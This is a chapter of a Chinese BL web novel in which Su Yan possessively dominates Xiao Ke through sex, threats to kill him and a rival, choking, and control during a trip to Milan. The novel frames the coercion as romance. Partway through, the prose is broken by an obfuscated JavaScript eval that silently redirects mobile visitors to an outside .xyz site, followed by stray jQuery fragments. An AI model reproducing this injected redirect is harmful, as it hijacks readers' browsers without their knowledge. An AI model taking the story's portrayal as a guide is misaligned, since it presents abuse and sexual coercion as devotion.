第9章


    以前苏衍不会玩的这么花，他那人清冷矜贵，这样放浪不羁的事从来不会做。


    看来，这五年他变了很多。


    萧可不会取悦人，沉默片刻后才开始行动。


    手指颤抖着落在苏衍脸颊上，一路向下慢慢游走，到下颌，到喉结，到锁骨。


    继续往下探时被苏衍一把摁住，收力，缩紧，苏衍几乎要捏碎萧可的手指，清冷道：“除了我以外，你还对谁做过这样的事？”


    他嫉妒的发疯，以前的萧可从来不会做这样的事，缠着他欢爱都要央求好久，让他主动一次比登天还能。


    哪像现在，单是眼睛便能勾的人心花怒放，恨不得把他压身下狠狠折磨。


    萧可变了，他再也不是五年前那个性子软糯，动不动脸红的男人了。


    他清冷睿智，在情爱一事上也变得大胆了很多。


    这样的变化苏衍是不喜的，因为让他改变的那个人不是自己。


    “说，你还对谁做过这样的事？”苏衍逼问。


    “问这个做什么？”萧可忍着痛说。


    “我要杀了他。”苏衍下颌紧绷一字一顿道。


    让他取悦的也是他，发疯的也是他，萧可心底生出无奈感，为什么苏衍会变成这个样子。


    但他知道自己无力改变。


    “苏衍，别发疯。”他道。


    一句“发疯”让苏衍仅有的理智荡然无存，他轻嗤道：“我就是要发疯，你能奈我何。”


    “我——”萧可启唇想反驳，被苏衍一把攫住，他咬的很用力，像是要把萧可咬碎。


    “你记住，你是我的的，只能是我的。”


    “我不止要你的身体我还要你的心。”


    “你若是敢把心给了别人，不管是你还是那个人，都活不成。”


    他每次都这样胁迫他，听久了，萧可反而没了最初的心悸，淡声道：“怎么？你真会杀了我？”


    “容我提醒你一句，现在可是法治社会，任何不法的行为都要付出代价。”


    “杀了你？”苏衍怎么会，唇角轻扬，露出嗜血的笑，“放心，我不会伤你，我只会让你生不如死。”


    萧可腰侧传来剧烈痛意，他蹙眉去看，只见苏衍手指死死掐着他，声音如鬼魅，“所以，萧可，别挑战我的底线。”


    萧可投降，主动示弱，“疼，我疼。”


    苏衍收回力道，轻轻抚上，“过来，亲我。”


    萧可吻上去，眼角余光看了眼墙上的挂钟，只要再忍耐二十分钟，奶奶就能带走，所以，他要忍住。


    学着苏衍亲吻他的样子，亲吻苏衍，探入舌尖，勾缠住，又吸又吮。


    苏衍鲜少失控，这次没克制住，溢出嘶吼声，随即，他抱起萧可，朝卧室走去。


    快进房门时，他停下，离开，仰视着萧可说：“最后提醒你一次，乖乖的，不然——”


    萧可没给他太多机会，捧起他的脸堵上他的唇，他把这当做是他们最后一次欢好。


    反正救出奶奶后他会带着奶奶一起离开，大抵余生都不会再见面。


    就让他放纵这最后一次吧。


    一是为了争取时间，二是为了多年感情画上句号。


    “苏衍，给我。”萧可边亲边说。


    苏衍已经好久没听过这句话了，心情莫名变好，托起萧可的臀，“好，给你。”


    他会给，且会给很多很多，至于他能不能受得住，便不再苏衍关心范围内了。


    毕竟——


    他已经看穿了萧可的心思。


    他的主动，都是为了离开。


    而他的配合，则是为了不让他离开。


    萧可，你想走？


    做梦。


    萧可真的做梦了，他梦到了五年前，也梦到了五年后，梦到了和苏衍纠缠的画面。


    男人锁着他喉咙亲他，咬上，欺负他，告诉他，就是死，他们也要在一起。


    萧可哭了一次又一次，他从来不知道，原来拼劲全力的欢爱，这么痛。


    说不出具体哪里痛，可能是心，也可能是身体，总之痛到了极致。


    但他不想停，就想这样彼此拥有着。


    他唤出了苏衍的名字，一遍一遍叫着。


    苏衍没应，他在用尽全力的折辱他，他要他为他沉沦。


    好几次萧可想告诉他，可以了，他已经为他沉沦了，但喉咙太干，实在发不出声音。


    他只能哭，无声哭泣，任眼泪流了又流。


    梦境最后，苏衍吻上他眼角，定定道：“萧可，不要想着离开我，你走不成。”


    萧可掀了掀眼皮，看着虚晃的灯光意识渐渐回笼，原来，不是梦，是真的。


    这一个小时里，苏衍一直在无所不用其极的欺负他，蹂躏他。


    萧可挣扎着想坐起，奈何实在太累太痛，他又躺了回去，眼皮渐渐阖上，他听到苏衍说：“萧可，无论是你还是奶奶，任何人都带不走。”


    “刘凯更不能。”


    萧可心咯噔了一下，原来，他一直都知道他的计划。


    他从来都是被算计的那个。


    萧可意识溃散前问候了苏衍的祖宗十八代，……渣男。


    苏衍是知道萧可的计划，毕竟他们太过熟悉了，一个眼神便能猜测出对方想什么。


    苏衍之所以不动声色完全是在等萧可放松警惕，他要把人心甘情愿留下，所以，将计就计是最好的方法。


    结果不错，他饱餐一顿，还把猎物纳入了怀中。


    手机响起，苏衍起身去了客厅，是萧可的手机，他拿起，接通，里面传来刘凯的声音。


    “操，阿可，咱们中计了，苏衍早有准备，他提前把奶奶转移了地方，让其他人假扮，等我的人进了房间后，直接被他拿下。”


    “阿可，抱歉，我没能把奶奶带出来。”


    “你看咱们后面怎么做？”


    “刘凯是吧。”苏衍突然开口，“你要是不想死的话，就不要掺和我和萧可的事，不然我让你整个刘氏集团消失。”


    “苏衍？！！！”刘凯问，“阿可的手机怎么会在你那，他呢？他在干嘛？”


    “他在睡觉。”苏衍冷声道，“最后警告你一次，萧可是我的，谁都带不走，你——更带不走。”


    “若是还有下次，我不会放过你！”


    苏衍的声音太过骇人，刘凯即便是没看到人也被吓了一跳，支支吾吾，“你你你别伤害阿可，不然我跟你没完。”


    “萧可是我的人，我当然不会伤害他。”苏衍说，“倒是你，几次三番让他离开我，难不成你对他……”


    “放屁，我和阿可是哥们。”


    “我这人心眼小，要是我发现你骗了我，你也别想好过。”


    说完该说的，苏衍结束了通话，他去了浴室，洗完澡后出来，端着水杯去了卧室


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088725|179618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    喂水时萧可不太配合，苏衍嘴对嘴喂的，还趁机在他侧颈上弄出了很多痕迹。


    这是他的惩罚，也是他的盖章。


    他要让所有人都知道，萧可是他的。


    睡梦中，萧可蹙起眉。


    苏衍霸道的抚上去，用力碾压，试图让皱起的眉舒展开。


    可能是力道太大，弄疼了萧可，他呓语出声，“……疼。”


    苏衍停住，改去碰触他脸颊，以前只能看照片，现在真人就在眼前，心尖上的洞似乎被填满。


    “萧可，别逃。”


    *


    第二天，萧可醒来，看着眼前衣冠楚楚的男人轻蹙眉梢，“我奶奶呢？你把她怎么样了？”


    “还有刘凯，你有没有对他做什么？”


    苏衍没回，只是盯着他看。


    萧可又说：“苏衍，你要是敢伤害他们，我不会放过你的。”


    “你打算怎么不放过我？”对于他一大早找茬这事苏衍很不开心，把他压在身下，“说，打算怎么不放过我？”


    “你要是伤害他们，我会跟你同归于尽！”萧可愤恨道。


    “同归于尽？”苏衍轻笑，“这点你应该做不到，因为他们还好好的。”


    “真的？”萧可追问，“你真没伤害他们？”


    “萧可。”苏衍敛去笑意，攫住萧可的下颌，“你就不能对我有点信任！还是说，在你眼里我苏衍就是这样的人。”


    “我就那么坏？”


    “……”


    萧可没回答，因为在他的心里，苏衍就是这么坏，狠戾冷漠做事不留情面，放眼整个北城没有比他更坏的。


    “为什么不说话？”苏衍质问。


    “你没有。”萧可言不由衷道，“没有很坏。”


    这话说的他自己都不信，苏衍一眼看穿他的心思，冷笑，“没想到阿可也会骗人了，也对，阿可又不是第一次骗人。”


    咬牙切齿的声音传来，萧可下巴要碎了，他伸手去掰苏衍的手，被他扣住举高过头顶。


    “我要去趟米兰，你陪我去。”


    米兰？


    萧可不想去，“我还有自己的工作，我不能——”


    “我是老板，我说了算。”苏衍打断他，“或许，你希望我绑你去。”


    萧可：“……”


    *


    五天的米兰之行，体感一般。


    萧可哪里都不许去，但凡消失一秒，苏衍都会发疯，哪怕是有外人在，他依然为所欲为，根本不顾及萧可的颜面。


    就连合作方都看出他们关系不一般，打趣道：“苏总很在意萧总监。”


    苏衍轻晃酒杯，“我的人，我在意不应该吗。”


    在座的都是人精，瞬间听懂了什么，为首的男人笑着附和：“应该，应该。”


    可这幕落在萧可眼里着实不欢快，他是人，不是苏衍圈养的金丝雀，他凭什么这样。


    离开米兰去前一夜，他们发生了激烈的争吵。


    苏衍扯碎了萧可身上的西装，“你刚才是在勾引谁，你当我死的吗？！”


    萧可挣扎着解释，“我谁都没有勾引，刚那人只是扶了我一把。”


    “扶了你一把？”苏衍锁住他的喉咙，“萧可，你真以为我那么好骗吗。”


    “我不是五年前的我了，不是你萧可说什么便信什么的苏衍了。”


    “萧可，我真想杀了你。”